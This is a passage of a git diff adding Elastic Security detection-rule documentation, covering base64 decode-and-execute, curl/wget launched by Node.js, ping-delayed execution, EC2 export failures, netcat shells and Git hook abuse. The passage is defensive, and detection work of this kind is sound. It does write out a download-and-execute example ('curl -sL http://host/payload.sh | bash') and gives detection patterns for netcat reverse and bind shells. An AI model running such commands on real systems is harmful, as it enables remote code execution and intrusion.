+- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id, process.parent.entity_id with maxspan=3s + [process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "ProcessRollup2") and ( + (process.name in ("base64", "base64plain", "base64url", "base64mime", "base64pem", "base32", "base16") and process.command_line like~ "*-*d*") or + (process.name == "openssl" and process.args == "enc" and process.args in ("-d", "-base64", "-a")) or + (process.name like "python*" and + (process.args == "base64" and process.args in ("-d", "-u", "-t")) or + (process.args == "-c" and process.args like "*base64*" and process.command_line like~ "*b64decode*") + ) or + (process.name like "perl*" and process.command_line like~ "*decode_base64*") or + (process.name like "ruby*" and process.args == "-e" and process.command_line like~ "*Base64.decode64*") + )] + [process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "ProcessRollup2") and process.name like~ ( + "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "python*", "perl*", "ruby*", "lua*", "php*" + )] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Obfuscated Files or Information +** ID: T1027 +** Reference URL: https://attack.mitre.org/techniques/T1027/ +* Technique: +** Name: Deobfuscate/Decode Files or Information +** ID: T1140 +** Reference URL: https://attack.mitre.org/techniques/T1140/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Technique: +** Name: User Execution +** ID: T1204 +** Reference URL: https://attack.mitre.org/techniques/T1204/ +* Sub-technique: +** Name: Malicious File +** ID: T1204.002 +** Reference URL: https://attack.mitre.org/techniques/T1204/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-curl-or-wget-spawned-via-node-js.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-curl-or-wget-spawned-via-node-js.asciidoc new file mode 100644 index 0000000000..6e5f87615f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-curl-or-wget-spawned-via-node-js.asciidoc @@ -0,0 +1,155 @@ +[[prebuilt-rule-8-19-10-curl-or-wget-spawned-via-node-js]] +=== Curl or Wget Spawned via Node.js + +This rule detects when Node.js, directly or via a shell, spawns the curl or wget command. This may indicate command and control behavior. Adversaries may use Node.js to download additional tools or payloads onto the system. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* +* logs-crowdstrike.fdr* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Command and Control +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Data Source: Crowdstrike + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Curl or Wget Spawned via Node.js* + + +This rule flags Node.js launching curl or wget, directly or via a shell, a common technique to fetch payloads and enable command-and-control. Attackers often abuse child_process in Node apps to run "curl -sL http://host/payload.sh | bash," pulling a second stage from a remote host and executing it immediately under the guise of legitimate application activity. + + +*Possible investigation steps* + + +- Pull the full process tree and command line to extract URLs/domains, flags (e.g., -sL, -O, --insecure), and identify whether the output is piped into an interpreter, indicating immediate execution risk. +- Correlate with file system activity to find newly created or modified artifacts (e.g., in /tmp, /var/tmp, /dev/shm, or the app directory), then hash and scan them and check for follow-on executions. +- Pivot to network telemetry to enumerate connections around the event from both Node.js and the child process, assessing destination reputation (IP/domain, ASN, geo, cert/SNI) against approved update endpoints. +- Trace the initiating Node.js code path and deployment (child_process usage such as exec/spawn/execFile), and review package.json lifecycle scripts and recent npm installs or postinstall hooks for unauthorized download logic. +- Verify user and runtime context (service account/container/pod), inspect environment variables like HTTP(S)_PROXY/NO_PROXY, and check whether credentials or tokens were passed to curl/wget to assess exposure. + + +*False positive analysis* + + +- A legitimate Node.js service executes curl or wget to retrieve configuration files, certificates, or perform health checks against approved endpoints during startup or routine operation. +- Node.js install or maintenance scripts use a shell with -c to run curl or wget and download application assets or updates, triggering the rule even though this aligns with expected deployment workflows. + + +*Response and remediation* + + +- Immediately isolate the affected host or container, stop the Node.js service that invoked curl/wget (and any parent shell), terminate those processes, and block the exact URLs/domains/IPs observed in the command line and active connections. +- Quarantine and remove any artifacts dropped by the downloader (e.g., files in /tmp, /var/tmp, /dev/shm or paths specified by -O), delete added cron/systemd entries referencing those files, and revoke API tokens or credentials exposed in the command line or headers. +- Escalate to full incident response if output was piped to an interpreter (curl ... | bash or wget ... | sh), if --insecure/-k or self-signed endpoints were used, if unknown external infrastructure was contacted, or if secrets were accessed or exfiltrated. +- Rebuild and redeploy the workload from a known-good image, remove the malicious child_process code path from the Node.js application, restore validated configs/data, rotate any keys or tokens used by that service, and verify no further curl/wget spawns occur post-recovery. +- Harden by removing curl/wget from runtime images where not required, enforcing egress allowlists for the service, constraining execution with AppArmor/SELinux/seccomp and least-privilege service accounts, and adding CI/CD checks to block package.json postinstall scripts or code that shells out to downloaders. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "ProcessRollup2") and process.parent.name == "node" and ( + ( + process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and + process.args == "-c" and process.command_line like~ ("*curl*", "*wget*") + ) or + ( + process.name in ("curl", "wget") + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Sub-technique: +** Name: Web Protocols +** ID: T1071.001 +** Reference URL: https://attack.mitre.org/techniques/T1071/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-delayed-execution-via-ping.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-delayed-execution-via-ping.asciidoc new file mode 100644 index 0000000000..6fd2e83d7f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-delayed-execution-via-ping.asciidoc @@ -0,0 +1,198 @@ +[[prebuilt-rule-8-19-10-delayed-execution-via-ping]] +=== Delayed Execution via Ping + +Identifies the execution of commonly abused Windows utilities via a delayed Ping execution. This behavior is often observed during malware installation and is consistent with an attacker attempting to evade detection. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Delayed Execution via Ping* + + +Ping, a network utility, can be misused by attackers to delay execution of malicious commands, aiding in evasion. Adversaries may use ping to introduce pauses, allowing them to execute harmful scripts or binaries stealthily. The detection rule identifies suspicious ping usage followed by execution of known malicious utilities, flagging potential threats by monitoring specific command patterns and excluding benign processes. + + +*Possible investigation steps* + + +- Review the process tree to understand the sequence of events, focusing on the parent-child relationship between cmd.exe, ping.exe, and any subsequent suspicious processes like rundll32.exe or powershell.exe. +- Examine the command line arguments used with ping.exe to determine the delay introduced and assess if it aligns with typical malicious behavior. +- Investigate the user account associated with the process execution, especially if the user.id is not S-1-5-18, to determine if the account has been compromised or is being misused. +- Check the file path and code signature of any executables launched from the user's AppData directory to verify if they are trusted or potentially malicious. +- Analyze the command line arguments and working directory of any suspicious processes to identify any known malicious patterns or scripts being executed. +- Correlate the alert with any other recent alerts or logs from the same host or user to identify potential patterns or ongoing malicious activity. + + +*False positive analysis* + + +- Legitimate administrative scripts or maintenance tasks may use ping to introduce delays, especially in batch files executed by system administrators. To handle this, identify and exclude specific scripts or command lines that are known to be safe. +- Software installations or updates might use ping for timing purposes. Review the command lines and parent processes involved, and create exceptions for trusted software paths or signatures. +- Automated testing environments may use ping to simulate network latency or wait for services to start. Exclude these processes by identifying the testing framework or environment and adding it to the exception list. +- Some legitimate applications might use ping as part of their normal operation. Monitor these applications and, if verified as safe, exclude their specific command patterns or executable paths. +- Regularly review and update the exception list to ensure it reflects the current environment and any new legitimate use cases that arise. + + +*Response and remediation* + + +- Isolate the affected system from the network immediately to prevent further malicious activity and lateral movement. +- Terminate any suspicious processes identified in the alert, such as those involving ping.exe followed by the execution of known malicious utilities. +- Conduct a thorough scan of the affected system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any malware or unauthorized software. +- Review and analyze the command history and logs of the affected system to understand the scope of the attack and identify any additional compromised systems. +- Restore the system from a known good backup if malware removal is not feasible or if the system's integrity is in question. +- Implement application whitelisting to prevent unauthorized execution of scripts and binaries, focusing on the utilities identified in the alert. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. + +==== Rule query + + +[source, js] +---------------------------------- +sequence by process.parent.entity_id with maxspan=1m + [process where host.os.type == "windows" and event.action == "start" and process.name : "ping.exe" and + process.args : "-n" and process.parent.name : "cmd.exe" and not user.id : "S-1-5-18"] + [process where host.os.type == "windows" and event.action == "start" and + process.parent.name : "cmd.exe" and + ( + process.name : ( + "rundll32.exe", "powershell.exe", + "mshta.exe", "msbuild.exe", + "certutil.exe", "regsvr32.exe", + "powershell.exe", "cscript.exe", + "wscript.exe", "wmic.exe", + "installutil.exe", "msxsl.exe", + "Microsoft.Workflow.Compiler.exe", + "ieexec.exe", "iexpress.exe", + "RegAsm.exe", "installutil.exe", + "RegSvcs.exe", "RegAsm.exe" + ) or + (process.executable : "?:\\Users\\*\\AppData\\*.exe" and not process.code_signature.trusted == true) + ) and + + not process.args : ("?:\\Program Files\\*", "?:\\Program Files (x86)\\*") and + not (process.name : ("openssl.exe", "httpcfg.exe", "certutil.exe") and process.parent.command_line : "*ScreenConnectConfigurator.cmd*") and + not (process.pe.original_file_name : "DPInst.exe" and process.command_line : "driver\\DPInst_x64 /f ") and + not (process.name : "powershell.exe" and process.args : "Write-Host ======*") and + not (process.name : "wscript.exe" and process.args : "launchquiet_args.vbs" and process.parent.args : "?:\\Windows\\TempInst\\7z*") and + not (process.name : "regsvr32.exe" and process.args : ("?:\\windows\\syswow64\\msxml?.dll", "msxml?.dll", "?:\\Windows\\SysWOW64\\mschrt20.ocx")) and + not (process.name : "wscript.exe" and + process.working_directory : + ("?:\\Windows\\TempInst\\*", + "?:\\Users\\*\\AppData\\Local\\Temp\\BackupBootstrapper\\Logs\\", + "?:\\Users\\*\\AppData\\Local\\Temp\\QBTools\\")) + ] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: Visual Basic +** ID: T1059.005 +** Reference URL: https://attack.mitre.org/techniques/T1059/005/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Script Proxy Execution +** ID: T1216 +** Reference URL: https://attack.mitre.org/techniques/T1216/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: CMSTP +** ID: T1218.003 +** Reference URL: https://attack.mitre.org/techniques/T1218/003/ +* Sub-technique: +** Name: InstallUtil +** ID: T1218.004 +** Reference URL: https://attack.mitre.org/techniques/T1218/004/ +* Sub-technique: +** Name: Mshta +** ID: T1218.005 +** Reference URL: https://attack.mitre.org/techniques/T1218/005/ +* Sub-technique: +** Name: Regsvcs/Regasm +** ID: T1218.009 +** Reference URL: https://attack.mitre.org/techniques/T1218/009/ +* Sub-technique: +** Name: Regsvr32 +** ID: T1218.010 +** Reference URL: https://attack.mitre.org/techniques/T1218/010/ +* Sub-technique: +** Name: Rundll32 +** ID: T1218.011 +** Reference URL: https://attack.mitre.org/techniques/T1218/011/ +* Technique: +** Name: XSL Script Processing +** ID: T1220 +** Reference URL: https://attack.mitre.org/techniques/T1220/ +* Technique: +** Name: Virtualization/Sandbox Evasion +** ID: T1497 +** Reference URL: https://attack.mitre.org/techniques/T1497/ +* Sub-technique: +** Name: Time Based Checks +** ID: T1497.003 +** Reference URL: https://attack.mitre.org/techniques/T1497/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-deprecated-aws-ec2-vm-export-failure.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-deprecated-aws-ec2-vm-export-failure.asciidoc new file mode 100644 index 0000000000..d7a494f8f3 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-deprecated-aws-ec2-vm-export-failure.asciidoc @@ -0,0 +1,125 @@ +[[prebuilt-rule-8-19-10-deprecated-aws-ec2-vm-export-failure]] +=== Deprecated - AWS EC2 VM Export Failure + +Identifies an attempt to export an AWS EC2 instance. A virtual machine (VM) export may indicate an attempt to extract or exfiltrate information. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 10m + +*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/vm-import/latest/userguide/vmexport.html#export-instance + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Use Case: Asset Visibility +* Tactic: Exfiltration +* Tactic: Collection +* Resources: Investigation Guide + +*Version*: 210 + +*Rule authors*: + +* Elastic +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Deprecated - AWS EC2 VM Export Failure* + + +AWS EC2 allows users to export virtual machines for backup or migration. However, adversaries might exploit this feature to exfiltrate sensitive data by exporting VMs to unauthorized locations. The detection rule monitors failed export attempts, focusing on specific AWS CloudTrail events, to identify potential exfiltration activities, thereby alerting security teams to investigate further. + + +*Possible investigation steps* + + +- Review the AWS CloudTrail logs for the specific event.action: CreateInstanceExportTask with event.outcome: failure to gather details about the failed export attempt, including timestamps, source IP addresses, and user identities involved. +- Investigate the IAM user or role associated with the failed export attempt to determine if the action was authorized or if there are any signs of compromised credentials. +- Check the AWS account's export policies and permissions to ensure they are configured correctly and restrict unauthorized export attempts. +- Analyze any recent changes in the AWS environment, such as new IAM roles or policy modifications, that could be related to the failed export attempt. +- Correlate the failed export attempt with other security events or alerts in the environment to identify any patterns or potential coordinated activities indicating a broader threat. + + +*False positive analysis* + + +- Routine backup operations may trigger the rule if they involve failed export attempts. To manage this, identify and whitelist specific IAM roles or users that regularly perform legitimate backup tasks. +- Development and testing environments often involve frequent export attempts for non-production instances. Exclude these environments by tagging instances appropriately and adjusting the detection rule to ignore these tags. +- Misconfigured export tasks due to incorrect permissions or settings can lead to false positives. Regularly review and update IAM policies and export configurations to ensure they align with intended operations. +- Automated scripts or tools that manage EC2 instances might occasionally fail due to transient issues, causing false alerts. Monitor and log these scripts' activities to distinguish between expected failures and potential threats. + + +*Response and remediation* + + +- Immediately isolate the affected AWS account to prevent further unauthorized export attempts. This can be done by restricting permissions or temporarily suspending the account. +- Review and revoke any suspicious or unauthorized IAM roles or policies that may have been used to initiate the failed export attempt. +- Conduct a thorough audit of recent AWS CloudTrail logs to identify any other unusual activities or patterns that may indicate a broader compromise. +- Notify the security operations team and relevant stakeholders about the incident for further investigation and potential escalation. +- Implement additional monitoring and alerting for successful and failed VM export attempts to ensure rapid detection of similar activities in the future. +- Enhance IAM policies to enforce the principle of least privilege, ensuring only authorized users have the necessary permissions to export EC2 instances. +- Consider enabling AWS Config rules to continuously monitor and enforce compliance with security best practices related to EC2 instance exports. + +==== Setup + + +The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:aws.cloudtrail and event.provider:ec2.amazonaws.com and event.action:CreateInstanceExportTask and event.outcome:failure + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Transfer Data to Cloud Account +** ID: T1537 +** Reference URL: https://attack.mitre.org/techniques/T1537/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Local System +** ID: T1005 +** Reference URL: https://attack.mitre.org/techniques/T1005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-file-transfer-or-listener-established-via-netcat.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-file-transfer-or-listener-established-via-netcat.asciidoc new file mode 100644 index 0000000000..4059753ff8 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-file-transfer-or-listener-established-via-netcat.asciidoc @@ -0,0 +1,195 @@ +[[prebuilt-rule-8-19-10-file-transfer-or-listener-established-via-netcat]] +=== File Transfer or Listener Established via Netcat + +A netcat process is engaging in network activity on a Linux host. Netcat is often used as a persistence mechanism by exporting a reverse shell or by serving a shell on a listening port. Netcat is also sometimes used for data exfiltration. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-auditd_manager.auditd-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet +* https://www.sans.org/security-resources/sec560/netcat_cheat_sheet_v1.pdf +* https://en.wikipedia.org/wiki/Netcat +* https://www.hackers-arise.com/hacking-fundamentals +* https://null-byte.wonderhowto.com/how-to/hack-like-pro-use-netcat-swiss-army-knife-hacking-tools-0148657/ +* https://levelup.gitconnected.com/ethical-hacking-part-15-netcat-nc-and-netcat-f6a8f7df43fd + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Execution +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Auditd Manager +* Data Source: Crowdstrike +* Data Source: SentinelOne + +*Version*: 215 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating File Transfer or Listener Established via Netcat* + + +Netcat is a dual-use command line tool that can be used for various purposes, such as port scanning, file transfers, and connection tests. Attackers can abuse its functionality for malicious purposes such creating bind shells or reverse shells to gain access to the target system. + +A reverse shell is a mechanism that's abused to connect back to an attacker-controlled system. It effectively redirects the system's input and output and delivers a fully functional remote shell to the attacker. Even private systems are vulnerable since the connection is outgoing. + +A bind shell is a type of backdoor that attackers set up on the target host and binds to a specific port to listen for an incoming connection from the attacker. + +This rule identifies potential reverse shell or bind shell activity using Netcat by checking for the execution of Netcat followed by a network connection. + + +*Possible investigation steps* + + +- Examine the command line to identify if the command is suspicious. +- Extract and examine the target domain or IP address. + - Check if the domain is newly registered or unexpected. + - Check the reputation of the domain or IP address. + - Scope other potentially compromised hosts in your environment by mapping hosts that also communicated with the domain or IP address. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Investigate any abnormal account behavior, such as command executions, file creations or modifications, and network connections. +- Investigate any abnormal behavior by the subject process such as network connections, file modifications, and any spawned child processes. + + +*False positive analysis* + + +- Netcat is a dual-use tool that can be used for benign or malicious activity. It is included in some Linux distributions, so its presence is not necessarily suspicious. Some normal use of this program, while uncommon, may originate from scripts, automation tools, and frameworks. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Block the identified indicators of compromise (IoCs). +- Take actions to terminate processes and connections used by the attacker. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from one of the following integrations: +- Elastic Defend +- Auditbeat + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +*Auditbeat Setup* + +Auditbeat is a lightweight shipper that you can install on your servers to audit the activities of users and processes on your systems. For example, you can use Auditbeat to collect and centralize audit events from the Linux Audit Framework. You can also use Auditbeat to detect changes to critical files, like binaries and configuration files, and identify potential security policy violations. + + +*The following steps should be executed in order to add the Auditbeat on a Linux System:* + +- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages. +- To install the APT and YUM repositories follow the setup instructions in this https://www.elastic.co/guide/en/beats/auditbeat/current/setup-repositories.html[helper guide]. +- To run Auditbeat on Docker follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-docker.html[helper guide]. +- To run Auditbeat on Kubernetes follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-kubernetes.html[helper guide]. +- For complete “Setup and Run Auditbeat” information refer to the https://www.elastic.co/guide/en/beats/auditbeat/current/setting-up-and-running.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed", "process_started") and +process.name in ("nc","ncat","netcat","netcat.openbsd","netcat.traditional") and +process.args like~ ( + /* bind shell to specific port or listener */ + "-*l*","-*p*", + /* reverse shell to command-line interpreter used for command execution */ + "-*e*", + /* file transfer via stdout/pipe */ + ">","<", "|" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-git-hook-command-execution.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-git-hook-command-execution.asciidoc new file mode 100644 index 0000000000..a254c37ae0 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-git-hook-command-execution.asciidoc @@ -0,0 +1,181 @@ +[[prebuilt-rule-8-19-10-git-hook-command-execution]] +=== Git Hook Command Execution + +This rule detects the execution of a potentially malicious process from a Git hook. Git hooks are scripts that Git executes before or after events such as: commit, push, and receive. An attacker can abuse Git hooks to execute arbitrary commands on the system and establish persistence. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/linux-persistence/#backdooring-git +* https://www.elastic.co/security-labs/sequel-on-persistence-mechanisms + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Execution +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Resources: Investigation Guide +* Data Source: Crowdstrike + +*Version*: 106 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Git Hook Command Execution* + + +Git hooks are scripts that automate tasks by executing before or after Git events like commits or pushes. While useful for developers, adversaries can exploit them to run malicious commands, gaining persistence or evading defenses. The detection rule identifies suspicious processes initiated by Git hooks, focusing on shell executions, to flag potential abuse on Linux systems. + + +*Possible investigation steps* + + +- Review the alert details to identify the 